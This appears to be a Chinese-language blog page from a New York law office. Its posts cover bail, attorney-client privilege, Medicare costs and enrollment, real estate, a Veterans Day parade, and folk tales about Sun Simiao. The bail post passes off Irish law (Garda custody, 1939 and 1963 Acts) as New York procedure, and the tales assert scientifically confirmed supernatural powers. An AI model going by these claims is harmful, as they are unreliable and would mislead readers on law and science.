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在美国被逮捕 怎样办理保释?|纽约朱延骏律师 7天24小时特快保释347-244-7888|美国保释流程 保释金归还

美国的法律遵循“无罪推定”的原则,在法庭审判并被判定有罪之前,必须要假定犯罪嫌疑人是无罪的。这项原则是美国保释制度的基础。

2020年4月,纽约州立法机构修订了保释法,赋予法官更广泛的自由裁量权,可以制定审前释放条件以鼓励人们重返法庭。新保释改革法生效后,最显着的变化是法官可以实行现金保释的情况更多了。

什么是现金保释?

现金保释不是罚款,保释的目的只是为了确保被告出庭受审以及他们必须出席的所有审前听证会。审判结束后,保释金会返还给被告,在有些州,会扣除一定数额的手续费。在纽约州有3%的保释金会做为手续费不会被返回。

法官通过权衡诸多的因素来决定保释金的数额:

  • 被告逃跑的风险,
  • 所指控的犯罪类型,
  • 被告的“危险性”,以及
  • 社区的安全。

在大多数地方,为任何涉嫌犯罪设定了标准保释金金额,但法官通常有广泛的自由裁量权来提高或降低保释金。法官也可以完全放弃保释金,并根据被告人的“自己的担保”释放被告,这意味着一个人承诺他们会在应该出现的时候出庭。

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纽约保释金的退还

在大多数情况下,在案件结束之前不会退还保释金。犯罪嫌疑人按时出庭,保释金一般会在案件结束后1、2个月内返还。

如果被告被定罪,所有现金保释将收取3%的手续费,余额会退还。如果案件被驳回或被告被判无罪,法庭将会退还所有的保释金。

法庭退还保释金是退还给付钱的人,并不是退还给犯罪嫌疑人。

纽约的保释种类

警察局保释: 被逮捕并被带到警察局的人可以通过控罪单的方式受到指控,并在警察局保释后获释,以便在特定日期和时间出庭。他们可能需要在从 Garda 拘留所获释之前交纳保释金。

地区法院保释:当某人被带到法庭时,法官可以保释他们并设定保释附加条件。该人可能需要在出庭前交纳保释金。

法院可能会决定需要一名独立的担保人来保证被告人的出庭。独立的担保人负责被告人在法庭出现。如果被告没有按照约定出庭,担保人承诺向法庭支付一笔款项。法院必须批准独立担保人。

高等法院保释:当一个人被指控犯有叛国罪、战争罪、谋杀、谋杀未遂、串谋谋杀或种族灭绝罪时,地区法院无权准予他们保释。1939 年《危害国家罪法》和1963 年《官方保密法》规定的某些罪行也排除了地方法院准予保释的可能性。在这些情况下,被告或其法定代理人必须向高等法院申请保释。

如果法官认为被告有太大的潜逃风险或对公众构成的风险,也可能会做出不得保释的决定。

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保释债券公司

保释金的数额通常超出了大多数人的经济能力。在大多数州,保释担保公司是营利性企业,收取不可退还的费用,通常为保释金额的 10% 至 20%,为被告保释。有些人称他们是放高利贷的公司。

保释金公司签署一份合同,称为担保金,其中同意在被告未能出庭或以其他方式丧失保释金的情况下承担全额保释金。由于保释金公司有可能被巨额资金盯上,因此可能需要被告定期检查,甚至同意接受公司的监督。如果被告未能出庭,保释担保公司的下一步可能是保留保释追回代理人的服务,有时也称为赏金猎人。

如果当事人没有准时出庭会怎样?

如果当事人没有准时出庭,往往会导致什么结果呢?首先是保释金不会返还。如果你在移民,你的案子在移民法庭,你可能会得到驱逐令。如果是一些刑事案件,你没有准时出庭,法庭可能会发布逮捕令,所以这是得不偿失的。

如果当事人不是主观的因素没有出庭,而是因为一些客观的原因没有出庭,比如有极端恶劣的天气、自然灾害,或是住址的变更没有及时通知法庭,导致没有收到开庭的通知,在这种情况下,你可以要求你的律师帮你解释原因,申请重新再开庭。

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朱延骏律师事务所

Law Offuce of Joseph Y.Zhu, PLLC
电话:347-244-7888
地址:136-68 Roosevelt Ave Ste#725 Flushing, NY 11354

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2021-11-20 / by / in , , ,
人懂得报恩 难道动物也知道报恩吗?

在我国五千年的传统文化中,讲到了这样一个理:“善有善报,恶有恶报”。但现在有些人,特别是一些中国人,由于受到中共无神论、进化论的长期洗脑,再加上传统文化被中共摧毁,使得很多中国人已经不相信善恶有报了,那就更不会相信动物也会报恩了!

那么动物到底会不会报恩呢?就请朋友们看看下面这个故事,可能会得到一些启发。

深山老林里采药

深山老林里采药

猛虎报恩

在我国古代治病的方法很多,什么草药、针灸、推拿、点穴、刮痧还有祝由科等等,但是最普遍的还是草药治病。所以无论我们从古书的记载看,还是在影视中都可以看到,那些老中医都是亲自要到深山老林里去采药的。

深山老林那是什么场所呀!那是动物们弱肉强食的地方。到了那里可以说什么样的飞禽猛兽都可能碰上,而那些老中医们出去采药时只是背个药娄,拿个挖草药的镰刀。什么弓箭刀枪之类的都没有,那更不用说我们现在所用的抢了。

什么都没有,那他们是如何抵御这些豺狼虎豹的呢?

大家都知道,我国古代的那些大医学家,很多都是修道之人,修道的人身上都是带有特异功能的。所谓的特异功能,就是指有超越一般常人的能力,这种能力就可以很轻松的制服那些猛兽。

在上世纪七、八十年代,气功在我国非常的盛行,出现了许多的特异功能者,许多孩子可以用手、耳朵等等部位识字;也有的能展现出其它的超常本事。这些超常的本领当时都得到了科学界的证实。

当然人有什么超长的本领,人的这双肉眼是看不到的,肉身也是感觉不到的。而那些在深山里的动物,它们却可以看的到。所以当这些动物发现有特异功能的人来时,躲避都来不及,那还敢过来攻击?根本就不可能!但也有特殊的。比如,在历史上就流传着大医学家孙思邈与老虎相遇的一个故事。

孙思邈给老虎治病

孙思邈给老虎治病

有一天,孙思邈采完药,正在往回走的路上。突然一只老虎拦住了他的去路。如果是一个普通人遇到这个事,可能早已吓得是魂飞魄散。中国人常讲这样一句话:艺高人胆大。而对于修道之人孙思邈来说,一点都没有惊慌,他知道老虎的到来一定是有求于他。果然老虎半跪两条前腿,连连给孙思邈叩头,然后又张开大口给他看。

孙思邈看到老虎瘦骨嶙峋的身形,又看到老虎的这些超常的举动,断定老虎是生了病,是来找他看病的。于是孙思邈就上前去检查,发现老虎的咽喉处肿胀很厉害,细看有一根骨刺横扎在咽喉上下两端,于是孙思邈用自己在师父那所学的本领,很轻松的帮老虎拔出骨刺,割除烂肉,然后把药再上上。一切完事后,老虎掉转头就跑走了,孙思邈并不介意它的失礼举动,只是微微一笑。因为一个修行人做好事,帮人治病是不图名,不图利,也不图回报的,这就是一个修行人的道德修养!

可是当孙思邈走到山脚下后,又看见那只被他治好的老虎迎面跑来,老虎跑到他面前,放下嘴里叼着的东西,连连给他点头,然后几步一回头地走远了。他拿起老虎放下的东西一看,原来是鹿胎膏,这可以说是药中至宝,打着灯笼也难寻的治病瑰宝。孙思邈明白了,老虎是在报答他的救命之恩。

故事讲完了。从这个故事中我们可以得到这样一个结论,动物也是能分辨善恶,懂得报恩的。有的朋友可能还是不信,认为动物都是过着弱肉强食的生活,极其的凶残。怎么可能还会报恩呢?

其实人和动物的本性是一样的,都是善良的。在我国传统文化的佛教中就讲人有六道轮回之说。什么意思呢?就是今生你是人,下一生可能轮回成动物了,当然这是佛教中讲的。

如果是这样的话,人和动物的本性就没有任何的区别。至于说弱肉强食那是动物的生存法则,就像人要吃肉一样,总不能说这个人杀了鸡或者杀了鱼,就说这个人残忍、不善了。其实吃肉也人生存的一种方式,跟人的境界、道德修养没有关系。

细心的朋友可能还会发现故事中的另外一个问题,就是老虎是怎么知道孙思邈是医生的?

每个人身上都会发出不同的光色

每个人身上都会发出不同的光色

在这里我想跟朋友们探讨一下这个问题。其实我们每个人的身体都会发出光来,不同境界的人,身上发出光的颜色、亮度都是不同的。发出的这些光,我们这双肉眼是看不到的,如果我们能借助现代的科学仪器就可以看的到。如果是这样,那我们在这里就不是在讲迷信了,是吧!

那么动物它是具备了一定的先天本能的,也就是我们所讲的特异功能。它就可以从人身上发出光的颜色辨别出这个人是干什么的?有什么样的本事?此人是善是恶,是淫邪还是正人君子,那些动物都是可以分辩得清的。

今天的故事就讲到这里,喜欢这个故事的朋友看完后请留言或点个赞吧!

2021-11-20 / by / in , , ,
为什么孙思邈的草鞋是八斤半而不是九斤呢?

中华灿烂的传统文化源远流长, “儒、释、道”在五千年的文明史上交相辉映,闪烁着他们的辉煌。

如今在我们国家所流传下来的那些古代名医,他们济世救人的神迹都印证了在中华大地上神传文化的博大精深。

今天我给大家讲一个在我国隋末唐初的一位大医学家孙思邈刚出道时的一个故事。

孙思邈是我国陕西耀县人,从小就与一般孩子不同,聪慧好学并且一心向道。到了他18岁的时候,就出家到陕西终南山修道。

道家修行之地

道家修行的场所

说到修道,我们现在有很多人可能会认为,那些出家人都是没有志向、没有抱负、没有理想的人;或者是遭受了精神打击后的人,这些人是不值得让人去尊重、崇拜的。为什么会有这样的认识呢?是因为中共毁灭的中国五千年的传统文化,强制给中国人灌输了无神论和它的党文化,使得中国人无法了解到真正传统文化的内涵。另外,因为在我们中国现在的和尚和道士,都不是真正的修行了,每天早上起来不是先拜佛拜道,而是先升国旗;每天不是捧着经书在学习,而是捧着中共党章和习近平理论在学习;每天不是在遵守着清规戒律,而是花天酒地的在世间享乐等等。这样的出家人能不让人鄙视吗?

可是在我国古代可不是这样的。古代的出家人是受人尊重、羡慕和敬佩的,哪一家儿子出家了,那这一家人,甚至他的亲朋好友都会感到无比的荣耀。

如果是这样那就不是谁想出家就能出家的,都是有很高要求的。在我国古代的本土教,道教中流传着这样一句话:“师父找徒弟,不是徒弟找师父。”什么意思呢?就是道家师父要看这个人的德行、悟性、慧根等等能否达到他的标准和要求,达到了他才收你当徒弟,达不到他根本就不会收你。

为什么会有那么高的要求呢?是因为这些出家人要学习的理论知识是超越人类的,因为是神传文化嘛,当然还会有神迹的存在,也就是我们所说的特异功能或神通之类的。如果一个人达不到那个标准,就不可能得到这些超常东西。

由于孙思邈的慧根极好,他的师父就相中了他,收他当了徒弟,教他功夫。当然在山里修道,那苦吃的是相当的大,不是一般人能承受的了的。多年的刻苦学习使孙思邈学成了师父教给他的本事,但必须还得到人世间去磨炼一番。这样一来就出现了下面的故事。

药王孙思邈济世救人

药王孙思邈济世救人

八斤半草鞋的故事

当孙思邈完成了他在山上的学业后,他的师父要求他把学到的本事去到人世间济世救人。于是孙思邈与他的师父含泪拜别,下山来到了人群之中。

来到之后不管他走到哪里,无论它处于什么样的善心,都无法把任何一件事情办好,而且一出手给人治病,病人就死。人们不断的在指责他、侮辱他、谩骂他、后来简直像躲避瘟疫一样赶他走。他不但要忍受风餐路宿的苦难,更要承受人们风刀霜剑的折辱。有一天,他终于承受不住了,便含泪回山向师父一诉苦衷,师父没有责备他,只是含笑在鼓励他:让他不要灰心,坚持住,说等你的草鞋长到八斤半重的时候一切都会发生改变。

虽然他对师父的话还无法理解,但也无可奈何。就这样孙思邈再次拜别师父下山了,同样又经历了一些以往的遭遇,但他记住了师父的话,不灰心、不气馁,在苦难中激励自己。

师徒告别

洒泪与师父告别

有一天他在赶路时经过了一个涝泥塘子,在过塘时把草鞋几乎都拽碎了,好不容易走出了塘子,一看自己脚上的草鞋沾满了泥土,变的又肥又重,没办法也只好穿在脚上。过不多时, 忽然一队送殡的伴着哭声经过这里,抬着的棺材里还往外滴着血。孙思邈走过去仔细观察一下血迹,心里顿时明白了人还有救。所以就追上去高喊:“站住!站住!人还有救,人还有救……”人们都以为他是个疯子在说胡话,他让人们把棺材放下,人们就是不听他的。因为当地有个习俗,出殡途中放下棺材会不吉利的。没办法,他只好边随着走边说:“人是难产死的对不对?不但孩子没生下来,大人也流血不止疼死了,直到入棺出殡还滴着血,对不对?这人还有救,赶快放下棺材,不然就来不及了。”人们听他说得全都对,就像亲眼看见了一样准,因此就相信了他,于是便放下了棺材并将它打开,让他治。孙思邈拿出一根银针,找准产妇的穴位扎了进去,时间不长,便听见产妇 “啊”的一声醒了过来,众人也几乎是异口同声地惊呼起来,正在这时,又传出了孩子的清脆哭声,大人和孩子都得救啦!人们几乎欢呼跳跃起来。自此以后,,一根银针救二命的事迹被人们广泛传为佳话。

人们简直像供奉神明一般地把孙思邈请回家,全家人是谢了又谢,拜了又拜,不知道怎样盛情款待才能报答这救命之恩。

第二天,孙思邈执意要走,全家人苦留不住。送一些银钱作谢礼,但他也坚拒不收,只收下了一双新鞋。产妇的丈夫想把旧草鞋扔掉,孙思邈却怎么也舍不得,找了杆秤把鞋一称正好是八斤半,他一下想起了师父跟他说的话。说来也神奇,从那以后他看病真是手到病除。当然“草鞋神医”的名声和它的神迹也越传越广。

这段故事讲完了,也许有朋友可能还会问:既然孙思邈在山上已经完成了学业,那为什么到人世间还要遇到那么多的麻烦?为什么要等到草鞋八斤半的时候才会有好运?

其实要回答这个问题也不难,因为孙思邈是修行之人,虽然他在山上的学业完成了,但是在人间的磨难这一关还得过。我们一定都看过《西游记》的电视剧吧!为什么唐僧师徒几个在人间必须要经历九九八十一难,差一难观音菩萨都要给补上。就是因为他们在修炼,只有经历了这些才算是修成。就是这个道理!

孙思邈的师父说,等你的草鞋重达八斤半时,就时来运转了。(图片来源:Adobe-Stock)

孙思邈的师父说,等你的草鞋重达八斤半时,就时来运转了。(图片来源:Adobe-Stock)

那为什么是八斤半而不是九斤呢?我们都知道,在人间,九是最大的数,所以我国历代的皇帝都被称作是九五至尊。所以只有皇帝才配用这个九子,而孙思邈所遇到的事就不能在九上了。

那么从另一方面来看,也可能是孙思邈的师父在暗示、点化他,告诉他的医学技能只能达到八斤半,而到不了医学的最高境界——九斤。这就是在警示他,不要自满,不要骄傲。中国人不是常说的一句话叫:长江后浪推前浪吗?也许将来会有后人超越他的医技。

2021-11-18 / by / in ,
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长期痛症的影响

由于肌肉关节劳损、关节退化或慢性发炎等引起的长期痛症,严重干扰着人们的生活,影响人的情绪、心态、自信心和工作家庭。

痛症影响工作和生活

关节炎

关节炎是全世界最常见的慢性疾病之一。主要是关节的软骨退化 或者结缔组织发炎, 导致关节疼痛从而干扰关节的正常运动。关节炎症有一百多个种类. 导致关节炎的原因很多, 引起关节损伤也各有不同。

全世界约有3.55亿关节炎患者, 其中中国就占了一亿以上。而在美国, 每五个人中就有一人出现关节炎疼痛与不适者; 在亚洲, 每六个人中就有一个人罹患关节炎。关节炎并不是老年人独有的疾病, 它影响了包括儿童在内的各个年龄层。

关节炎的症状非常多样, 主要出现的是关节发红、肿、热、痛与功能障碍。像是关节局部皮肤发红和温度发生变化,,周围软组织发肿发涨,关节腔积水,用手指按病人的关节局部可产生疼痛现象, 严重的会有关节畸形和关节活动范围变小等问题。

神经痛

顾名思义, 即是因为神经系统受损而造成的疼痛。神经痛可由各种不同的神经疾患造成。它的表现跟一般组织损伤后的疼痛不同, 包括刺痛、针扎、电击、撕裂、灼热、冰冷、麻痹、痒等等。

神经痛症状是不可预期的,突然间的抽痛常令人难以忍受。特别在夜深人静时, 因为周遭的刺激大量减少,所以患者常会感觉疼痛加剧,因而影响睡眠质量,造成失眠。

造成神经痛的原因很多,如中风、脊髓损伤、糖尿病、肾衰竭、酒精成瘾、病毒或细菌感染、药物、外伤、自体免疫疾病、肿瘤等,都可能导致神经痛。

常见的神经痛:

  • 带状疱疹后神经痛;
  • 三叉神经痛;
  • 糖尿病神经病变。

目前针对神经痛的药物治疗种类并不多,主要以抗癫痫类药物,抗忧郁类药物及局部疼痛贴布为主。

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2021-11-18 / by / in ,
不能说的秘密 浅谈美国律师与客户的保密特权

“律师与客户的保密特权”(Attorney-Client Privilege)在法律界有悠久的历史,是一项保护律师与客户之间通信机密性的规则。这一特权是英美法学承认的最古老的特权,起源于早期英国法。是美国法律根本和持久的基石。事实上,证词特权的原则可以追溯到罗马共和国,早在16世纪伊丽莎白一世统治时期,它的使用就在英国法律中牢固确立。根据该规则,律师不得泄露客户的秘密,其他人也不得强迫他们透露。该特权的目的是鼓励客户与他们的律师公开分享信息,并让律师提供有效的代理。

什么是律师与客户的保密特权

从最基本的角度来看,这项特权是为了确保当事人“向律师寻求建议或帮助的人应该完全不用担心他的秘密会被泄露。”当事人向律师透露的所有案情的细节,律师必须保密,未经客户同意,收到客户保密信息的律师不得向法律团队以外的任何人泄露这些信息。

桑德斯与金律师事务所(Sanders&Kim Law)|纽约人身伤害索赔 纽约车祸律师 

所有这项特权是客户的,而不是律师的——客户可以决定保留或放弃特权,但律师不能。

因此,这项特权的基本原则是律师向当事人提供“合理的法律建议”。 有了特权的保障,委托人可以与法律顾问坦诚、公开地交谈,向律师披露所有相关信息,而不必担心这会作为对自己不利的证据。

在保密特权的保护下,当事人可能更愿意与律师沟通可能被隐瞒的事情。这种坦率和诚实将有助于律师提供更准确、更合理的专业建议。

委托人与律师之间的所有类型的通信或交流都可能受律师-委托人特权的保护,包括口头通信和文件通信,如电子邮件、信件甚至短信。

律师与客户的保密特权成立的先决条件,构成律师-客户关系

在特权存在之前,必须存在律师-客户关系。尽管这个概念看起来很基本,但许多客户认为这种关系存在并错误地依赖于特权的保护,但直到关系牢固建立后,特权才存在。一般来说,在双方就委托人的代表达成一致之前,律师-委托人特权不会生效。

在通常情况下,律师已经明确承认委托人的代理。这种明确的承认可以通过委托书、费用合同,甚至是关于代表范围的口头协议来证明。律师与委托人的关系也可以通过代表委托人的律师的“出庭”得到明确承认,包括为委托人在法庭上提交诉状、代表委托人起草文件或作为委托人的代表出庭。

律师与客户的保密特权适用什么情况?

通常,律师-客户特权适用于:

  • 实际或潜在客户与律师就法律建议进行沟通;
  • 律师以专业身份行事(而不是例如作为朋友);
  • 客户希望通信是私密的,并采取了相应的行动;
  • 律师不得透露客户合理期望保密的与客户的口头或书面交流。

未经客户同意,收到客户保密信息的律师不得向法律团队以外的任何人重复这些信息。

即使在律师-客户关系结束后,甚至在客户去世后,特权通常仍然有效。也就是说,律师不得在未经委托人许可的情况下泄露委托人的秘密。

这项特权的保密性同样适用于委托人。也就是说,委托人与律师交流的内容,如果委托人以任何方式透露给了其他人,那么律师与客户的保密特权就失去了有效性,这就是所谓的“放弃”特权。

律师-客户保密特权的限制

    • 物理对象不是特权– 属于客户的物品,例如犯罪工具,仅仅因为客户将它们交给他的律师而不属于特权范围。
    • 在其他人面前进行的交流没有特权– 如果客户在与律师交谈时知道与律师办公室无关的其他人在场或在听,则交流不是保密的,因此没有特权。

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2021-11-16 / by / in , , ,
纽约房产市场发展的内因与外因

我们都知道纽约的房地产市场是全球最昂贵,竞争最激烈的住房市场之一;同时也是全球关注人数最多,投资最热的一个房屋买卖市场之一。之所以有这样一个火爆的市场,跟纽约这个大都市的经济、科学、文化等等的雄厚实力是分不开的。

然而在我们哲学界都认为,人世间万事万物的发展与变化,都离不开内因与外因的两个因素。内因决定事物的性质,规定与事物的发展;外因是变化的条件,内因是变化的根据。而内因与外因的区分则是相对的,所以往往在事物的发展变化中外因能起到很关键的作用。

就纽约房产市场的稳定发展而言,只有自身雄厚的实力是不够的,还必须得有一个外部因素起着的作用,才能使它稳定的发展。

九大行星围绕着太阳转,地球还在自转着

九大行星围绕着太阳转,地球还在自转着

举个例子,大家都知道,我们生存的地球它在自转着,同时它还与其它的星球围绕着太阳在旋转着,而且整个银河系、整个宇宙都在有规律的运转着。如果我们生存的地球一旦脱离了这个运转的轨迹,可能就会被毁灭。

地球尚且如此,那在地球上所生存的一切万事万物,当然也是如此,都必须得遵循这两个因素,才能谈到它的生存发展。也就是说,这个纽约房产市场也不可能摆脱它外在的发展规律。

交易中的走势规律

交易中的走势图规律

我们都知道,无论是房产市场还是股票市场或其它市场,现在人们给每个交易市场都描绘出了一些交易中的走势图形来做参考,其实这些走势图形就是人们所总结、所找出的市场运行的规律。可是我们也知道,往往这些规律都不是那么准确,如果我们死板的按照这个规律去操作的话,很可能就赔钱了。为什么呢?可能有些朋友对这个问题还是有所不解。

其实就是因为它还必须得有一个外在的因素起作用,也就是外在的规律,而自身的规律却受着外在的规律所制约。也就是哲学理论中所讲的内因与外因的关系。

孟母三迁

孟母三迁

我们举个例子:大家一定知道《孟母三迁》这个中国古代的寓言故事。故事说的是,在中国古代的战国时期,有一位著名的思想家、政治家孟子小时候的成长经历。

在孟子很小时候,其父亲早早就去世了。因为在我国传统文化的古代女人都是要讲究守节的,所以孟子的母亲因为守节而没有再改嫁。随着孟子的逐渐长大,他的母亲就开始教他识字和讲一些做人的道理。虽然孟子从小天资聪慧,但是他也无法摆脱外部环境对他的影响。由于他的家是住在墓地附近。孟子就时常和邻居的小朋友们一起学着大人跪拜、哭嚎的样子,玩起办理丧事的游戏。当孟子的母亲看到孟子的这些举动后,就皱起了眉头:心想这不行!这样会把孩子毁了!于是她就决定带着孩子搬家,结果搬到一个离集市较近的地方。到了那里,孟子又和邻居的孩子在一起,学起了商人做生意的模样。一会儿鞠躬欢迎客人、一会儿招待客人、一会儿和客人讨价还价,表演得像极了!孟子的这些行为又被他的母亲发现后,孟母又皱起了眉头:认为这个地方也不适合我的孩子居住!于是,她再次下决心搬家。结果历经艰辛,母子俩把家搬到了一所学校附近。从那时孟子就开始效仿当地儒生的高雅行为,变得守秩序、懂礼貌、喜欢读书。当孟母看到孟子现在的所作所为后很满意地点着头说:这才是我儿子应该住的地方呀!

我们从这个寓言故事中可以得出这样一个结论:无论是贫民百姓,还是帝王将相,只要是人,就会被他们所生存的社会环境所左右,谁也无法摆脱。这就是人们常说的一句话:环境改造人;而人只能是适应环境,却无法改变环境。就是这个道理!

人是这样,那人世间的万事万物同样也是如此。就拿纽约的房地产市场来说,既有它内在的运行发展规律,同时又受到社会大的环境所制约。

2021-11-16 / by / in , ,
美国联邦医疗保险红蓝卡2022年度保费 B部分史上最大涨幅

美国联邦医疗保险红蓝卡,一般每年都会在11月中旬,调整下一年度的保险费用premium和年度自付额deductible。虽然每年都会有涨幅,但是2022年度红蓝卡医疗保险费用的涨幅似乎超出了所有人的预期。

美国联邦政府机构医疗保险和医疗补助服务中心CMS, Centers for Medicare & Medicaid Services,于11月12 日发布了2022年度红蓝卡的保险费用和年度自付额,并在一份声明中表示,红蓝卡保险费用上涨与新冠病毒流行有关,也与将来的不确定性有关。

红蓝卡B部分月保费和自付额

2022 年开始,Medicare红蓝卡 B 部分保费,将从2021年的每月148.5美元,调整为170.10美元,每个月增加21.60美元,涨幅为14.5%,为有史以来最大的一次增幅。

红蓝卡B部分保险,覆盖了门诊看医生的部分。

今年的B部分的涨幅大大超出了保险行业专业人士的预测。医疗保险受托管理机构曾在今年8月份做出预测,2022年的B部分月度保费估计为158.50美元,预测的上涨额是11.60美元。

2022年开始,红蓝卡B部分的年度自付额部分,也从今年的203美元,增加为233美元,增加了30美元。

如果您是红蓝卡补充保险Medigap的受保人,假如您参加的是Medigap G计划或N计划,那么您每年先要付满年度自付额部分,才开始使用红蓝卡补充计划的福利。从2022年1月1日开始,您就要先付满233美元的年度自付额,而2021年的自付额是203美元。

如果您是高收入人士的话,B部分的高收入调整费也相应有变化,具体见下表:

红蓝卡B部分保险费高收入调整费 (图片:CMS.gov)

红蓝卡A 部分保险费和年度自付额

对于A部分住院保险部分,大约99%传统红蓝卡的受益人不需要支付A部分的保险费用,因为他们已经付满了40个季点的税收。

如果支付了30个季点,或配偶付满了30个季点的,每月的A部分保险费用为274美元,比2021年增加了15美元;

对于未交满30个季点,要参加红蓝卡A 部分保险的,就要全额支付保险费用,2022年的标准是每月499美元,比2021年增加了28美元。

2022年A部分住院部分的年度自付额为1,556美元,而2021年为1,484美元,增加了72美元。一年当中支付满了自付额部分,之后的住院费用,前60天由红蓝卡支付;

从第61天开始到第90天,自己要支付每天389美元的费用,2021年为371美元,增加了18美元。

住院保留日从2021年的每天742美元,增加到2022年每天778美元。

在护理院的住院费共同支付额coinsurance, 从第21天到第100天,每天自己支付的费用,2022年为194.5美元(2021 年为185.5美元)

红蓝卡A部分2022年度费用变化

红蓝卡D 部分费用

处方药保险D部分的高收入调整费用,受影响的人群仅为8%,具体见下表:

红蓝卡D部分处方药保险高收入调整 (图片:CMS.gov)

CMS局长奇基塔‧布鲁克斯-拉苏尔(Chiquita Brooks-LaSure)在一份声明中表示,2022年B部分保费的增加证明,不断上涨的药物成本威胁着医疗保险计划的可负担性和可持续性。

 

美国联邦医疗保险Medicare红蓝卡 谁有资格申请 | 纽约退休医疗保险 ABCD四部分福利项目 申请材料 申请方式 申请时间 2021年最新资讯

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2021-11-15 / by / in ,
2021纽约老兵节大游行 惊现华人乐团方阵 压轴出场震撼人心(多图)

暌违2年,由美国退伍军人协会(UWVC)主办的第102届全美最大的老兵节游行,周四(11月11日)在纽约曼哈顿第五大道热闹登场。今年有近200个各类团体参加。让很多华人朋友倍感自豪的是,主办方特别邀请了由华人组成的“天国乐团”参加,并且是压轴出场,他们精彩的表演赢得了观众的热烈喝采,现场气氛令人震撼。据了解,“天国乐团”的成员全部是法轮功学员。

纽约的老兵节游行在全美规模最大,因为疫情的影响去年停办一次。今年的主题是沙漠风暴行动30周年、纪念911事件和全球反恐战争20周年。

2021年11月11日,在纽约曼哈顿第五大道上举行了纽约的第102届老兵节游行,这是美国最大规模的退伍军人庆祝活动。(看中国)

美国空军伞降老兵凯文卡里克担任阅兵的大元帅。凯文卡里克是一名退休的高级军士长,曾在位于长岛西汉普顿的第106救援联队担任精英伞兵救援人员二十多年,他是致力于拯救生命的精英但鲜为人知的专家之一。联合战争退伍军人委员会代表指:“凯文代表了最好的服务精神,这种精神激励着军队的各个部门。”

2021年11月11日,在纽约曼哈顿第五大道上举行了纽约的第102届老兵节游行,这是美国最大规模的退伍军人庆祝活动。(看中国)

2021年11月11日,在纽约曼哈顿第五大道上举行了纽约的第102届老兵节游行,这是美国最大规模的退伍军人庆祝活动。(看中国)

上午11时,在麦迪逊广场公园,举行了庄严的向阵亡将士献花仪式。美国武装部队的陆军、空军、海军、太空军等都有代表参加。

中午12点游行开始,按照传统路线,近200个游行队伍,沿着纽约最繁华的曼哈顿中城第五大道25街游行到45街。历时3个多小时,现场观众反应热烈。

法轮功队伍获赞 主办方:感谢法轮大法

法轮功团体连续十多年获邀参加老兵节游行,今年的队伍由天国乐团、炼功队、舞龙队、彩旗队、仙女队、腰鼓队等方阵组成,他们整齐的队伍声势浩大,抖擞的精神面貌、亮丽的风采,赢得了在场观众的热烈喝采。

2021年11月11日,在纽约曼哈顿第五大道上举行了纽约的第102届老兵节游行,这是美国最大规模的退伍军人庆祝活动。法轮大法舞龙队带去中华传统文化。(The Epoch Times)

2021年11月11日,在纽约曼哈顿第五大道上举行了纽约的第102届老兵节游行,这是美国最大规模的退伍军人庆祝活动。法轮大法腰鼓队带去欢乐气氛,令人精神振奋。(The Epoch Times)

法轮大法队伍的协调人易蓉表示,天国乐团、舞龙、旗阵、仙女、腰鼓队都是法轮功队伍的独有特色,队员们穿上中国传统服饰,非常漂亮,带去欢乐,民众看到都很开心,一扫疫情的阴霾,带去希望。

法轮功“天国乐团”是游行中表现最亮眼的队伍,他们身穿蓝白相间的唐代将士服装,脚踏长靴,威风凛凛、气势如虹,演奏了《星条旗永不落》、《神圣的歌》、《法轮大法好》、《凯旋》、等乐曲,由小号、圆号、大号、法国号、太阳号、上低音号(Baritone)、单簧管、萨斯风、长笛、短笛等多种乐器奏响的嘹亮乐曲,伴随着强劲的鼓点节拍,带来强大的冲击力,震撼人心。

2021年11月11日,在纽约曼哈顿第五大道上举行了纽约的第102届老兵节游行。法轮功的“天国乐团”整齐的古式兵将服饰、雄壮的乐曲、威武的英姿令全场民众为之赞叹。(The Epoch Times)

一名在对着天国乐团录像的男子说:“他们真的与众不同,我从没见过,我从没见过一个这样好的乐队,真的太棒了,继续下去!”

当天国乐团走到主席台正前方的红地毯时,主办方“老兵委员会”(United War Veterans Council)让天国乐团停下来,特意让他们演奏完了整首《星条旗永不落》。

2021年11月11日,在纽约曼哈顿第五大道上举行了纽约的第102届老兵节游行。法轮功的“天国乐团”整齐的古式兵将服饰、雄壮的乐曲、威武的英姿令全场民众为之赞叹。(The Epoch Times)

主办方的成员对着天国乐团不断鼓掌、招手,主持人介绍:“这是法轮大法团体,他们是老兵的长期支持者,非常感谢法轮大法参加2021年纽约老兵节游行!”

 

2021-11-13 / by / in , , , , ,
美国联邦医疗红蓝卡 年度注册期 记得要做的几件事 | 注册 更改 退出

目前这段时间正好是每年的红蓝卡开放注册期,您如果正好需要注册或者更改红蓝卡健康保险计划,请不要错过这个窗口期哦。

每年的10月15日到12月7日,这段时间是美国红蓝卡的年度注册期(Medicare Annual Election Period,AEP)。这也是人们通常最熟知的一个红蓝卡的登记窗口期。

红蓝卡年度开放注册期

除此之外,Medicare还为红蓝卡优势计划设了一个专门的窗口期,称为Medicare Advantage open enrollment period, 这个窗口期是从每年1月1日到3月31日,这是专门为红蓝卡优势计划持有者安排的注册窗口期。如果想更改红蓝卡优势计划,也可以在这个窗口期更改计划。新的计划的生效日期,要等到新年度的7月1日。

红蓝卡优势计划注册窗口期

注册或更改红蓝卡健康保险计划

每年在开放注册期,红蓝卡的受保人可以:

  1. 更改红蓝卡D部分药物保险计划,或者注册新的D部分药物计划;
  2. 注册红蓝卡C部分优势计划或者更改优势计划;
  3. 退出优势计划,回到传统红蓝卡医疗保险;

计划更改后的生效日为下一年的1月1日起。

如果您注册的是红蓝卡补充计划 Medigap,那么这个期间什么也不用做。红蓝卡补充计划在一年当中的任何时候都可以更改。

红蓝卡年度注册期 需要关注的几件事

在红蓝卡开放注册期,大家要注意哪些事情呢?

首先,请仔细看一遍红蓝卡D部分或优势计划(Medicare Advantage)发给您的红蓝卡计划变更通知 (Annual Notice of Change, ANOC)。

红蓝卡计划变更通知

 

这份计划变更通知一般会在9月份邮寄到您住处,通知主要是告诉您,新的年度计划的生效日期从下一年的1月1日开始,以及新的年度承保的范围和费用的变化明细。

红蓝卡D部分的药物保险计划,和红蓝卡C部分优势计划都是年度签约的保险计划。因此,每年都可以更改计划。

如果您发现保险计划的月度保费突然增加很多,或者药物承保的范围有更改,您都可以考虑更改计划。因此仔细阅读变更通知非常重要,这样您能知道下一年度,自己的保险计划会有哪些变化。

第二,在这期间,您可以在各种红蓝卡保险计划中货比三家,对比一下其它的红蓝卡健康计划的福利和月度保费。您也许能找到新推出的价格更低,同时福利更多的保险计划。

您可以到medicare的官网上(medicare.gov),选择比对各种保险计划。

第三件事,做出决定。

